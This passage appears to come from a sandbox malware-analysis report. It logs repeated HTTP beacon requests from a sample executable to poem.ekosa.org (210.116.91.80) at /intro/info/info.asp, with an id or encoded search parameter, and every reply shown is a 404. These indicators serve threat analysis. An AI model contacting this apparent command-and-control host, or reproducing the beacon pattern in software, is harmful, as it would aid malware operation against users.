Jan 11, 2021 17:55:10.567939997 CET	394	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:10.835975885 CET	395	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.4	50020	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:16.427335978 CET	5286	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:16.689208031 CET	5287	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.4	50021	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:16.966995001 CET	5288	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:17.228844881 CET	5289	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.4	50022	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:17.506401062 CET	5289	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:17.776748896 CET	5290	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.4	50023	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:18.165337086 CET	5290	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:18.430999041 CET	5291	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.4	50024	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:18.698347092 CET	5292	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:18.958631992 CET	5292	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.4	50025	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:19.233356953 CET	5293	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:19.495107889 CET	5294	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.4	50026	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:19.880944014 CET	5294	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:20.141428947 CET	5295	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:20 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.4	50027	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:20.407540083 CET	5295	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:20.667928934 CET	5296	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:20 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.4	50028	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:20.939857006 CET	5297	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:21.203788042 CET	5297	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.4	50029	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:21.590358973 CET	5298	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:21.861025095 CET	5298	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" 